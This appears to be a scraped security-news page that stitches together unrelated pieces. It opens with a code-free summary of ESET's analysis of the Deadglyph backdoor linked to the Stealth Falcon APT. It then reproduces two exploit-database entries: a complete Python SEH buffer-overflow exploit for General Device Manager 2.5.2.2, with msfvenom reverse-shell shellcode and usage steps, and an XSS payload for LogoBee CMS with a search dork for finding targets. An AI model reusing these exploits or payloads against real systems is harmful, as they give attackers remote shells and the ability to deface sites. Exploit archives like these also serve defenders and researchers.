One of the standout features of Deadglyph is its unique architecture. Unlike most malware that relies on a single programming language, Deadglyph uses a combination of two: an x64 binary and a .NET assembly. This is quite unusual and suggests that the creators went to great lengths to make it harder to analyze. Mixing different programming languages also adds an extra layer of complexity.

What sets Deadglyph apart is that it doesn’t come with pre-set commands like traditional malware. Instead, it fetches its instructions from a remote server, giving it a flexible and adaptable nature.

****The Stealth Falcon APT Group****

The experts at ESET Research have connected Deadglyph to the Stealth Falcon APT group. This group has been active since 2012 and is believed to have ties to the United Arab Emirates. Its primary targets include political activists, journalists, and dissidents in the Middle East. The group’s activities were first exposed by Citizen Lab in 2016.

There are suggestions that Stealth Falcon and another group called Project Raven are one and the same, as they seem to have overlapping targets and tactics. The revelation of Deadglyph adds another layer of complexity to this enigmatic group’s toolkit.

****Breaking Down Deadglyph’s Operation****

Deadglyph’s operation is a complex chain of events. It starts with a registry shellcode loader that’s used to load shellcode from the Windows registry. This shellcode, in turn, loads the main part of Deadglyph, known as the Executor. What’s unique is that only the initial loader exists as a file on the victim’s computer; the rest remains encrypted within a registry entry.

While the exact method of infection isn’t clear, it’s suspected that an installer component plays a role in getting the malicious code onto a victim’s system.

****The Role of the Orchestrator****

The Orchestrator, written in .NET, is the central component of Deadglyph. Its primary job is to communicate with a remote server and execute commands, often with the help of the Executor. The Orchestrator is highly obfuscated, making it even more challenging to analyze. In essence, it acts as the control center for Deadglyph’s operations.

****Communication and Commands****

According to ESET’s report, Deadglyph uses two embedded modules, Timer and Network, for communication with its remote server. These modules are obfuscated as well. The Timer module executes tasks at set intervals, while the Network module handles communication with the server. Deadglyph also has the ability to uninstall itself if it loses contact with the server for an extended period.

****Modules: The Heart of Deadglyph****

Deadglyph’s core capabilities are delivered through additional modules obtained from the server. ESET researchers managed to obtain three such modules, shedding light on Deadglyph’s potential. However, it’s believed that there could be as many as fourteen modules in total, each adding unique functionality.

*   **Process Creator (Module 0x69)**: This module can execute specific commands as new processes and provide the results back to Deadglyph’s control center.
*   **Info Collector (Module 0x6C)**: This module gathers extensive information about the infected system, including operating system details, installed software, network adapters, and more.
*   **File Reader (Module 0x64)**: This module reads specified files and shares their contents, with an option to delete the files afterward.

****Multistage Shellcode Downloader Chain****

While investigating Deadglyph, ESET researchers stumbled upon a complex multistage shellcode downloader chain. This chain is believed to be used in the installation process of Deadglyph and shares similarities with the main threat.

The chain involves multiple stages, starting with a CPL file designed to download shellcode. This shellcode is then injected into a host process, ultimately leading to the loading of a .NET assembly that serves as a shellcode downloader.

****In Conclusion: A Disturbingly Complex Threat****

The discovery of Deadglyph shines a spotlight on the ever-evolving tactics of APT groups, particularly those targeting the Middle East. Its intricate architecture, dynamic modules, and counter-detection mechanisms make it a formidable digital threat. Organizations and individuals in the region need to remain vigilant and ensure their cybersecurity measures are up to the task of defending against such advanced threats.

****RELATED ARTICLES****

Chinese APT Flax Typhoon uses legit tools for cyber espionage

Chinese APT Slid Fake Signal, Telegram Apps onto Official App Stores

Deadglyph: A New Backdoor Linked to Stealth Falcon APT in the Middle East

General Device Manager 2.5.2.2 is vulnerable to Buffer Overflow.

    # Exploit Title: General Device Manager 2.5.2.2 - Buffer Overflow (SEH)
    # Date: 30.07.2023
    # Software Link: https://download.xm030.cn/d/MDAwMDA2NTQ=
    # Software Link 2:
    https://www.maxiguvenlik.com/uploads/importfiles/General_DeviceManager.zip
    # Exploit Author: Ahmet Ümit BAYRAM
    # Tested Version: 2.5.2.2
    # Tested on: Windows 10 64bit
    
    # 1.- Run python code : exploit.py
    # 2.- Open pwned.txt and copy all content to clipboard
    # 3.- Open Device Manage and press Add Device
    # 4.- Paste the content of pwned.txt into the 'IP Address'
    # 5.- Click 'OK'
    # 6.- nc.exe local IP Port 1337 and you will have a bind shell
    # 7.- R.I.P. Condor <3
    
    import struct
    
    offset = b"A" * 1308
    
    nseh = b"\xEB\x06\x90\x90" # jmp short
    
    seh = struct.pack('<I', 0x10081827) # 0x10081827 : pop ebx # pop esi # ret  | ascii {PAGE_EXECUTE_READ} [NetSDK.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v4.0.8.66 (C:\Program Files (x86)\DeviceManage\NetSDK.dll)
    
    
    nops = b"\x90" * 32 
    
    #shellcode: msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1  LPORT=1337 EXITFUNC=thread -a x86 --platform windows -b "\x00\x0a\x0d" -f python --var-name shellcode
    
    shellcode =  b""
    shellcode += b"\xd9\xc6\xbb\xae\xc7\xed\x8e\xd9\x74\x24\xf4"
    shellcode += b"\x5a\x29\xc9\xb1\x52\x83\xea\xfc\x31\x5a\x13"
    shellcode += b"\x03\xf4\xd4\x0f\x7b\xf4\x33\x4d\x84\x04\xc4"
    shellcode += b"\x32\x0c\xe1\xf5\x72\x6a\x62\xa5\x42\xf8\x26"
    shellcode += b"\x4a\x28\xac\xd2\xd9\x5c\x79\xd5\x6a\xea\x5f"
    shellcode += b"\xd8\x6b\x47\xa3\x7b\xe8\x9a\xf0\x5b\xd1\x54"
    shellcode += b"\x05\x9a\x16\x88\xe4\xce\xcf\xc6\x5b\xfe\x64"
    shellcode += b"\x92\x67\x75\x36\x32\xe0\x6a\x8f\x35\xc1\x3d"
    shellcode += b"\x9b\x6f\xc1\xbc\x48\x04\x48\xa6\x8d\x21\x02"
    shellcode += b"\x5d\x65\xdd\x95\xb7\xb7\x1e\x39\xf6\x77\xed"
    shellcode += b"\x43\x3f\xbf\x0e\x36\x49\xc3\xb3\x41\x8e\xb9"
    shellcode += b"\x6f\xc7\x14\x19\xfb\x7f\xf0\x9b\x28\x19\x73"
    shellcode += b"\x97\x85\x6d\xdb\xb4\x18\xa1\x50\xc0\x91\x44"
    shellcode += b"\xb6\x40\xe1\x62\x12\x08\xb1\x0b\x03\xf4\x14"
    shellcode += b"\x33\x53\x57\xc8\x91\x18\x7a\x1d\xa8\x43\x13"
    shellcode += b"\xd2\x81\x7b\xe3\x7c\x91\x08\xd1\x23\x09\x86"
    shellcode += b"\x59\xab\x97\x51\x9d\x86\x60\xcd\x60\x29\x91"
    shellcode += b"\xc4\xa6\x7d\xc1\x7e\x0e\xfe\x8a\x7e\xaf\x2b"
    shellcode += b"\x1c\x2e\x1f\x84\xdd\x9e\xdf\x74\xb6\xf4\xef"
    shellcode += b"\xab\xa6\xf7\x25\xc4\x4d\x02\xae\x94\x91\x0c"
    shellcode += b"\x2f\x03\x90\x0c\x2a\xea\x1d\xea\x5e\x1c\x48"
    shellcode += b"\xa5\xf6\x85\xd1\x3d\x66\x49\xcc\x38\xa8\xc1"
    shellcode += b"\xe3\xbd\x67\x22\x89\xad\x10\xc2\xc4\x8f\xb7"
    shellcode += b"\xdd\xf2\xa7\x54\x4f\x99\x37\x12\x6c\x36\x60"
    shellcode += b"\x73\x42\x4f\xe4\x69\xfd\xf9\x1a\x70\x9b\xc2"
    shellcode += b"\x9e\xaf\x58\xcc\x1f\x3d\xe4\xea\x0f\xfb\xe5"
    shellcode += b"\xb6\x7b\x53\xb0\x60\xd5\x15\x6a\xc3\x8f\xcf"
    shellcode += b"\xc1\x8d\x47\x89\x29\x0e\x11\x96\x67\xf8\xfd"
    shellcode += b"\x27\xde\xbd\x02\x87\xb6\x49\x7b\xf5\x26\xb5"
    shellcode += b"\x56\xbd\x47\x54\x72\xc8\xef\xc1\x17\x71\x72"
    shellcode += b"\xf2\xc2\xb6\x8b\x71\xe6\x46\x68\x69\x83\x43"
    shellcode += b"\x34\x2d\x78\x3e\x25\xd8\x7e\xed\x46\xc9"
    
    
    final_payload = offset + nseh + seh + nops + shellcode
    
    # write the final payload to a file
    try:
        with open('pwned.txt', 'wb') as f:
            print("[+] Creating %s bytes evil payload..." %len(final_payload))
            f.write(final_payload)
            f.close()
            print("[+] File created!")
    except:
        print("File cannot be created!")

CVE-2023-43131: OffSec’s Exploit Database Archive

LogoBee CMS version 0.2 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : LogoBee CMS v0.2 XSS Vulnerability                                                                                 || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : https://logobee.com                                                                                                |  | # Dork      : intext:''Logo & Web Design by LogoBee''                                                                            |====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  use payload : /updates.php?id=<marquee><font color=lime size=32>Hacked by indoushka</font></marquee>[+]  http://vaxform127.0.0.1/updates.php?id=%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3EGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Tag

#windows